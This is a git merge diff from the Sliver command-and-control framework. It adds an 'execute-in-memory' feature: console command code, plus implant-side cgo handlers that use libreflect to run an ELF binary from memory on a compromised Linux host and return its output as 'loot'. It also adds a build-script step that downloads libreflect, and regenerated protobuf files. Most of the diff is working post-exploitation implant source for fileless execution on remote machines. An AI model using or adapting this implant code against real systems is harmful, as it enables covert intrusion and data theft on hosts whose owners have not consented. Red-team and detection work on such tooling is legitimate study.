Merge branch 'feature/linux-cgo-extensions' into v1.6.0/linux-libreflect

client/command/commands.go

@@ -1075,6 +1075,33 @@ func BindCommands(con *console.SliverConsoleClient) {
 		HelpGroup: consts.SliverHelpGroup,
 	})
 
+	con.App.AddCommand(&grumble.Command{
+		Name: consts.ExecuteInMemoryStr,
+		Help: "Execute a program in memory on the remote system (Linux shared libraries only)",
+		Flags: func(f *grumble.Flags) {
+			f.Bool("o", "output", false, "capture command output")
+			f.Bool("s", "save", false, "save output to a file")
+			f.Bool("X", "loot", false, "save output as loot")
+			f.Bool("S", "ignore-stderr", false, "don't print STDERR output")
+			f.String("O", "stdout", "", "remote path to redirect STDOUT to")
+			f.String("E", "stderr", "", "remote path to redirect STDERR to")
+			f.String("n", "name", "", "name to assign loot (optional)")
+			f.Bool("r", "remote", false, "execute a file from the remote system")
+
+			f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
+		},
+		Args: func(a *grumble.Args) {
+			a.String("filepath", "local path to an ELF file to execute on the remote system")
+			a.StringList("arguments", "arguments to the command")
+		},
+		Run: func(ctx *grumble.Context) error {
+			con.Println()
+			exec.ExecuteInMemoryCmd(ctx, con)
+			con.Println()
+			return nil
+		},
+	})
+
 	con.App.AddCommand(&grumble.Command{
 		Name:     consts.ExecuteAssemblyStr,
 		Help:     "Loads and executes a .NET assembly in a child process (Windows Only)",

client/command/exec/execute-in-memory.go

@@ -0,0 +1,117 @@
+package exec
+
+import (
+	"bytes"
+	"context"
+	"debug/elf"
+	"os"
+	"path/filepath"
+
+	"github.com/bishopfox/sliver/client/console"
+	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
+	"github.com/golang/protobuf/proto"
+)
+
+// ExecuteInMemoryCmd - Function to execute an ELF file in memory using the ExecuteInMemory RPC
+func ExecuteInMemoryCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var (
+		remotePath string
+		elfBytes   []byte
+		err        error
+	)
+	session, beacon := con.ActiveTarget.GetInteractive()
+	if session == nil && beacon == nil {
+		return
+	}
+	// check beacon or session OS
+	if session != nil {
+		if session.OS != "linux" {
+			con.PrintErrorf("This command is only available on Linux")
+			return
+		}
+	} else if beacon != nil {
+		if beacon.OS != "linux" {
+			con.PrintErrorf("This command is only available on Linux")
+			return
+		}
+	}
+
+	elfPath := ctx.Args.String("filepath")
+	elfArgs := ctx.Args.StringList("arguments")
+	elfRemote := ctx.Flags.Bool("remote")
+	hostname := getHostname(session, beacon)
+
+	if elfRemote {
+		remotePath = elfPath
+		elfArgs = append([]string{elfPath}, elfArgs...)
+	} else {
+		elfBytes, err = os.ReadFile(elfPath)
+		if err != nil {
+			con.PrintErrorf("%s", err.Error())
+			return
+		}
+		elfFile, _ := elf.NewFile(bytes.NewReader(elfBytes))
+		if goSection := elfFile.Section(".gopclntab"); goSection != nil {
+			con.PrintErrorf("Go binary detected, aborting")
+			return
+		}
+		// Don't leak client info to the Implant
+		cmdPath := filepath.Base(elfPath)
+		elfArgs = append([]string{cmdPath}, elfArgs...)
+	}
+	ctrl := make(chan bool)
+	con.SpinUntil("Executing ELF ...", ctrl)
+	execInMem, err := con.Rpc.ExecuteInMemory(context.Background(), &sliverpb.ExecuteInMemoryReq{
+		Data:    elfBytes,
+		Args:    elfArgs,
+		Path:    remotePath,
+		Request: con.ActiveTarget.Request(ctx),
+	})
+	ctrl <- true
+	<-ctrl
+	if err != nil {
+		con.PrintErrorf("%s", err.Error())
+		return
+	}
+	if execInMem.Response != nil && execInMem.Response.Async {
+		con.AddBeaconCallback(execInMem.Response.TaskID, func(task *clientpb.BeaconTask) {
+			err = proto.Unmarshal(task.Response, execInMem)
+			if err != nil {
+				con.PrintErrorf("%s", err.Error())
+				return
+			}
+			HandleExecuteInMemoryResponse(execInMem, elfPath, hostname, ctx, con)
+		})
+		if execInMem.Response != nil && execInMem.Response.Err != "" {
+			con.PrintErrorf("%s", execInMem.Response.Err)
+			return
+		}
+	}
+	if execInMem.Response != nil && execInMem.Response.Err != "" {
+		con.PrintErrorf("Error: %s", execInMem.Response.Err)
+		return
+	}
+	HandleExecuteInMemoryResponse(execInMem, elfPath, hostname, ctx, con)
+}
+
+func HandleExecuteInMemoryResponse(exec *sliverpb.Execute, cmdPath string, hostName string, ctx *grumble.Context, con *console.SliverConsoleClient) {
+	var lootedOutput []byte
+	saveLoot := ctx.Flags.Bool("loot")
+	saveOutput := ctx.Flags.Bool("save")
+	lootName := ctx.Flags.String("name")
+
+	if saveLoot || saveOutput {
+		// stdout and stderr are combined implant side
+		lootedOutput = combineCommandOutput(exec, true, false)
+	}
+	if saveLoot {
+		LootExecute(lootedOutput, lootName, ctx.Command.Name, cmdPath, hostName, con)
+	}
+
+	if saveOutput {
+		SaveExecutionOutput(string(lootedOutput), ctx.Command.Name, hostName, con)
+	}
+	PrintExecute(exec, ctx, con)
+}

client/constants/constants.go

@@ -196,6 +196,7 @@ const (
 	RevToSelfStr        = "rev2self"
 	ExecuteAssemblyStr  = "execute-assembly"
 	ExecuteShellcodeStr = "execute-shellcode"
+	ExecuteInMemoryStr  = "execute-in-memory"
 	MigrateStr          = "migrate"
 	SideloadStr         = "sideload"
 	SpawnDllStr         = "spawndll"

go-assets.sh

@@ -23,6 +23,7 @@ set -e
 GO_VER="1.19.3"
 GARBLE_VER="1.19.4"
 SGN_VER="0.0.3"
+LIBREFLECT_VER="1.0.3"
 
 GO_ARCH_1="amd64"
 GO_ARCH_2="arm64"
@@ -190,6 +191,14 @@ curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_1/sgn.zip https://github.com
 echo "curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip"
 curl -L --fail --output $OUTPUT_DIR/darwin/$GO_ARCH_2/sgn.zip https://github.com/moloch--/sgn/releases/download/v$SGN_VER/sgn_macos-$GO_ARCH_2.zip
 
+echo "-----------------------------------------------------------------"
+echo " Libreflect"
+echo "-----------------------------------------------------------------"
+
+echo "curl -L --fail --output $OUTPUT_DIR/lib/libreflect.tar.gz https://github.com/sliverarmory/libreflect/releases/download/v$LIBREFLECT_VER/libreflect.tar.gz"
+curl -L --fail --output $OUTPUT_DIR/lib/libreflect.tar.gz https://github.com/sliverarmory/libreflect/releases/download/v$LIBREFLECT_VER/libreflect.tar.gz
+tar xzf $OUTPUT_DIR/lib/libreflect.tar.gz -C $OUTPUT_DIR/lib
+rm $OUTPUT_DIR/lib/libreflect.tar.gz
 
 # end
 echo -e "clean up: $WORK_DIR"

implant/sliver/handlers/handlers_linux.go

@@ -60,6 +60,11 @@ var (
 		sliverpb.MsgWGStopSocksReq:      wgStopSocksHandler,
 		sliverpb.MsgWGListSocksReq:      wgListSocksServersHandler,
 		// {{end}}
+
+		// {{if .Config.IsSharedLib}}
+		// CGO specific
+		sliverpb.MsgExecuteInMemoryReq: executeInMemoryHandler,
+		// {{end}}
 	}
 )
 

implant/sliver/handlers/rpc-handlers_linux.go

@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
 
 	for _, proc := range procs {
 		p := &commonpb.Process{
-			Pid:        int32(proc.Pid()),
-			Ppid:       int32(proc.PPid()),
-			Executable: proc.Executable(),
-			Owner:      proc.Owner(),
+			Pid:          int32(proc.Pid()),
+			Ppid:         int32(proc.PPid()),
+			Executable:   proc.Executable(),
+			Owner:        proc.Owner(),
 			Architecture: proc.Architecture(),
 		}
 		p.CmdLine = proc.(*ps.UnixProcess).CmdLine()

implant/sliver/handlers/rpc-handlers_linux_cgo.go

@@ -0,0 +1,63 @@
+//go:build cgo && linux
+
+package handlers
+
+import (
+	"bytes"
+	"debug/elf"
+	"fmt"
+	"os"
+
+	"github.com/bishopfox/sliver/implant/sliver/taskrunner"
+	"github.com/bishopfox/sliver/protobuf/commonpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"google.golang.org/protobuf/proto"
+)
+
+func executeInMemoryHandler(data []byte, resp RPCResponse) {
+	var req sliverpb.ExecuteInMemoryReq
+	err := proto.Unmarshal(data, &req)
+	if err != nil {
+		resp([]byte{}, err)
+		return
+	}
+	execResp := &sliverpb.Execute{}
+	elfData := req.Data
+	if req.Path != "" {
+		elfData, err = os.ReadFile(req.Path)
+		if err != nil {
+			execResp.Response = &commonpb.Response{
+				Err: fmt.Sprintf("%s", err),
+			}
+			data, err = proto.Marshal(execResp)
+			resp(data, err)
+			return
+		}
+		elfFile, _ := elf.NewFile(bytes.NewReader(elfData))
+		if goSection := elfFile.Section(".gopclntab"); goSection != nil {
+			msgErr := "Go binary detected, aborting"
+			execResp.Response = &commonpb.Response{
+				Err: msgErr,
+			}
+			data, err = proto.Marshal(execResp)
+			resp(data, err)
+			return
+
+		}
+	}
+	output, pid, err := taskrunner.ExecuteInMemory(elfData, req.Args)
+	if err != nil || pid == 0 {
+		execResp.Response = &commonpb.Response{
+			Err: fmt.Sprintf("%s", err),
+		}
+		proto.Marshal(execResp)
+		resp(data, err)
+		return
+	}
+	execResp.Response = &commonpb.Response{}
+	execResp.Pid = uint32(pid)
+	execResp.Stdout = []byte(output)
+	execResp.Status = 0
+	data, err = proto.Marshal(execResp)
+	resp(data, err)
+}

implant/sliver/taskrunner/task_linux_cgo.go

@@ -0,0 +1,112 @@
+//go:build cgo && linux
+
+package taskrunner
+
+/*
+#include <stdio.h>
+#include <unistd.h>
+#include <stdlib.h>
+#include <sys/wait.h>
+
+extern void reflect_execv(const unsigned char *elf, char **argv);
+extern void reflect_execve(const unsigned char *elf, char **argv, char **env);
+extern void GoCallback(char *line, size_t len);
+
+static inline int call_reflect_exec(unsigned char *data, char **argv) {
+	int pid;
+	int pipefd[2];
+	if (pipe(pipefd) != 0) {
+		return 0;
+	}
+
+	if ((pid = fork()) == 0)
+    {
+        close(pipefd[0]);    // close reading end in the child
+
+        dup2(pipefd[1], 1);  // send stdout to the pipe
+        dup2(pipefd[1], 2);  // send stderr to the pipe
+
+        close(pipefd[1]);    // this descriptor is no longer needed
+
+        reflect_execv(data, argv);
+    }
+    else
+    {
+        // parent
+
+        char *line = NULL;
+        close(pipefd[1]);  // close the write end of the pipe in the parent
+
+		waitpid(pid, NULL, 0);
+
+        FILE *stream = fdopen(pipefd[0], "r");
+        size_t read_len = 0;
+        while (getline(&line, &read_len, stream) != -1) {
+			GoCallback(line, read_len);
+        }
+    }
+	return pid;
+}
+*/
+import "C"
+import (
+	"bytes"
+	// {{if .Config.Debug}}
+	"log"
+	// {{end}}
+	"sync"
+	"unsafe"
+)
+
+type cgoOutput struct {
+	Out *bytes.Buffer
+	sync.Mutex
+}
+
+var outbuff cgoOutput
+
+// ExecuteInMemory - Runs an ELF binary in memory using CGO and libreflect
+// Returns a string containing the merged stdout + stderrr,
+// the PID of the forked process, and any error that might have occured.
+func ExecuteInMemory(data []byte, args []string) (string, int, error) {
+	// {{if .Config.Debug}}
+	log.Printf("Executing %s\n", args)
+	// {{end}}
+	argv := make([]*C.char, len(args)+1)
+	for i, a := range args {
+		argv[i] = C.CString(a)
+	}
+	// argv needs to terminate with a NULL pointer, otherwise we might have uninitialized memory
+	argv[len(argv)-1] = nil
+	defer func() {
+		for _, arg := range argv {
+			C.free(unsafe.Pointer(arg))
+		}
+	}()
+	outbuff.Lock()
+	pid, err := C.call_reflect_exec((*C.uchar)(&data[0]), &argv[0])
+	if err != nil {
+		//{{if .Config.Debug}}
+		log.Printf("Error during execution: %s\n", err)
+		//{{end}}
+		return "", 0, err
+	}
+
+	output := outbuff.Out.String()
+	outbuff.Out.Reset()
+	outbuff.Unlock()
+	return output, int(pid), nil
+}
+
+// GoCallback - Callback function for C code to write to outbuff
+// This callback in itself is not goroutine safe, so any caller
+// must acquire the lock on outbuff before calling this function.
+//
+//export GoCallback
+func GoCallback(line *C.char, len C.size_t) {
+	outbuff.Out.WriteString(C.GoString(line))
+}
+
+func init() {
+	outbuff.Out = &bytes.Buffer{}
+}

protobuf/clientpb/client.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
 // 	protoc-gen-go v1.26.0
-// 	protoc        v3.21.8
+// 	protoc        v3.21.9
 // source: clientpb/client.proto
 
 package clientpb

protobuf/commonpb/common.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
 // 	protoc-gen-go v1.26.0
-// 	protoc        v3.21.8
+// 	protoc        v3.21.9
 // source: commonpb/common.proto
 
 package commonpb

protobuf/dnspb/dns.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
 // 	protoc-gen-go v1.26.0
-// 	protoc        v3.21.8
+// 	protoc        v3.21.9
 // source: dnspb/dns.proto
 
 package dnspb

protobuf/rpcpb/services.pb.go

@@ -1,7 +1,7 @@
 // Code generated by protoc-gen-go. DO NOT EDIT.
 // versions:
 // 	protoc-gen-go v1.26.0
-// 	protoc        v3.21.8
+// 	protoc        v3.21.9
 // source: rpcpb/services.proto
 
 package rpcpb
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
 	0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
 	0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
 	0x65, 0x6e, 0x74, 0x70, 0x62, 0x2f, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x2e, 0x70, 0x72, 0x6f,
-	0x74, 0x6f, 0x32, 0x8a, 0x3e, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
+	0x74, 0x6f, 0x32, 0xce, 0x3e, 0x0a, 0x09, 0x53, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x52, 0x50, 0x43,
 	0x12, 0x30, 0x0a, 0x0a, 0x47, 0x65, 0x74, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0f,
 	0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a,
 	0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x56, 0x65, 0x72, 0x73, 0x69,
@@ -498,40 +498,44 @@ var file_rpcpb_services_proto_rawDesc = []byte{
 	0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x1b, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
 	0x70, 0x62, 0x2e, 0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72,
 	0x73, 0x52, 0x65, 0x71, 0x1a, 0x18, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
-	0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x2c,
-	0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
-	0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a, 0x0f, 0x2e, 0x73, 0x6c,
-	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x32, 0x0a, 0x07,
-	0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
-	0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65, 0x71, 0x1a, 0x11, 0x2e,
-	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64,
-	0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
-	0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
-	0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b,
-	0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12,
-	0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
-	0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74,
-	0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x12,
-	0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73,
-	0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
-	0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x32, 0x0a,
-	0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e,
-	0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a,
-	0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65,
-	0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c,
-	0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e,
-	0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d,
-	0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
-	0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
-	0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72,
-	0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
-	0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12, 0x0f, 0x2e, 0x63, 0x6f,
-	0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x1a, 0x0f, 0x2e, 0x63,
-	0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x30, 0x01, 0x42,
-	0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x62, 0x69,
-	0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x2f, 0x70,
-	0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70, 0x62, 0x62, 0x06, 0x70,
-	0x72, 0x6f, 0x74, 0x6f, 0x33,
+	0x57, 0x47, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x73, 0x12, 0x42,
+	0x0a, 0x0f, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x49, 0x6e, 0x4d, 0x65, 0x6d, 0x6f, 0x72,
+	0x79, 0x12, 0x1c, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65,
+	0x63, 0x75, 0x74, 0x65, 0x49, 0x6e, 0x4d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x1a,
+	0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x45, 0x78, 0x65, 0x63, 0x75,
+	0x74, 0x65, 0x12, 0x2c, 0x0a, 0x05, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x12, 0x12, 0x2e, 0x73, 0x6c,
+	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x52, 0x65, 0x71, 0x1a,
+	0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53, 0x68, 0x65, 0x6c, 0x6c,
+	0x12, 0x32, 0x0a, 0x07, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x12, 0x14, 0x2e, 0x73, 0x6c,
+	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72, 0x74, 0x66, 0x77, 0x64, 0x52, 0x65,
+	0x71, 0x1a, 0x11, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x50, 0x6f, 0x72,
+	0x74, 0x66, 0x77, 0x64, 0x12, 0x2f, 0x0a, 0x0b, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x6f,
+	0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
+	0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+	0x53, 0x6f, 0x63, 0x6b, 0x73, 0x12, 0x2e, 0x0a, 0x0a, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x53, 0x6f,
+	0x63, 0x6b, 0x73, 0x12, 0x0f, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
+	0x6f, 0x63, 0x6b, 0x73, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e,
+	0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3a, 0x0a, 0x0a, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x50, 0x72,
+	0x6f, 0x78, 0x79, 0x12, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x53,
+	0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x13, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65,
+	0x72, 0x70, 0x62, 0x2e, 0x53, 0x6f, 0x63, 0x6b, 0x73, 0x44, 0x61, 0x74, 0x61, 0x28, 0x01, 0x30,
+	0x01, 0x12, 0x32, 0x0a, 0x0c, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, 0x6e, 0x6e, 0x65,
+	0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e,
+	0x6e, 0x65, 0x6c, 0x1a, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54,
+	0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x30, 0x0a, 0x0b, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x54, 0x75,
+	0x6e, 0x6e, 0x65, 0x6c, 0x12, 0x10, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e,
+	0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x1a, 0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70,
+	0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x12, 0x3c, 0x0a, 0x0a, 0x54, 0x75, 0x6e, 0x6e, 0x65,
+	0x6c, 0x44, 0x61, 0x74, 0x61, 0x12, 0x14, 0x2e, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62,
+	0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74, 0x61, 0x1a, 0x14, 0x2e, 0x73, 0x6c,
+	0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2e, 0x54, 0x75, 0x6e, 0x6e, 0x65, 0x6c, 0x44, 0x61, 0x74,
+	0x61, 0x28, 0x01, 0x30, 0x01, 0x12, 0x2c, 0x0a, 0x06, 0x45, 0x76, 0x65, 0x6e, 0x74, 0x73, 0x12,
+	0x0f, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79,
+	0x1a, 0x0f, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x45, 0x76, 0x65, 0x6e,
+	0x74, 0x30, 0x01, 0x42, 0x2c, 0x5a, 0x2a, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f,
+	0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, 0x76,
+	0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x72, 0x70, 0x63, 0x70,
+	0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33,
 }
 
 var file_rpcpb_services_proto_goTypes = []interface{}{
@@ -628,95 +632,96 @@ var file_rpcpb_services_proto_goTypes = []interface{}{
 	(*sliverpb.WGSocksStopReq)(nil),           // 90: sliverpb.WGSocksStopReq
 	(*sliverpb.WGTCPForwardersReq)(nil),       // 91: sliverpb.WGTCPForwardersReq
 	(*sliverpb.WGSocksServersReq)(nil),        // 92: sliverpb.WGSocksServersReq
-	(*sliverpb.ShellReq)(nil),                 // 93: sliverpb.ShellReq
-	(*sliverpb.PortfwdReq)(nil),               // 94: sliverpb.PortfwdReq
-	(*sliverpb.Socks)(nil),                    // 95: sliverpb.Socks
-	(*sliverpb.SocksData)(nil),                // 96: sliverpb.SocksData
-	(*sliverpb.Tunnel)(nil),                   // 97: sliverpb.Tunnel
-	(*sliverpb.TunnelData)(nil),               // 98: sliverpb.TunnelData
-	(*clientpb.Version)(nil),                  // 99: clientpb.Version
-	(*clientpb.Operators)(nil),                // 100: clientpb.Operators
-	(*sliverpb.Reconfigure)(nil),              // 101: sliverpb.Reconfigure
-	(*clientpb.Sessions)(nil),                 // 102: clientpb.Sessions
-	(*clientpb.Beacons)(nil),                  // 103: clientpb.Beacons
-	(*clientpb.BeaconTasks)(nil),              // 104: clientpb.BeaconTasks
-	(*commonpb.Response)(nil),                 // 105: commonpb.Response
-	(*clientpb.Jobs)(nil),                     // 106: clientpb.Jobs
-	(*clientpb.KillJob)(nil),                  // 107: clientpb.KillJob
-	(*clientpb.MTLSListener)(nil),             // 108: clientpb.MTLSListener
-	(*clientpb.WGListener)(nil),               // 109: clientpb.WGListener
-	(*clientpb.DNSListener)(nil),              // 110: clientpb.DNSListener
-	(*clientpb.HTTPListener)(nil),             // 111: clientpb.HTTPListener
-	(*clientpb.StagerListener)(nil),           // 112: clientpb.StagerListener
-	(*clientpb.AllLoot)(nil),                  // 113: clientpb.AllLoot
-	(*clientpb.AllHosts)(nil),                 // 114: clientpb.AllHosts
-	(*clientpb.Generate)(nil),                 // 115: clientpb.Generate
-	(*clientpb.ExternalImplantConfig)(nil),    // 116: clientpb.ExternalImplantConfig
-	(*clientpb.Builders)(nil),                 // 117: clientpb.Builders
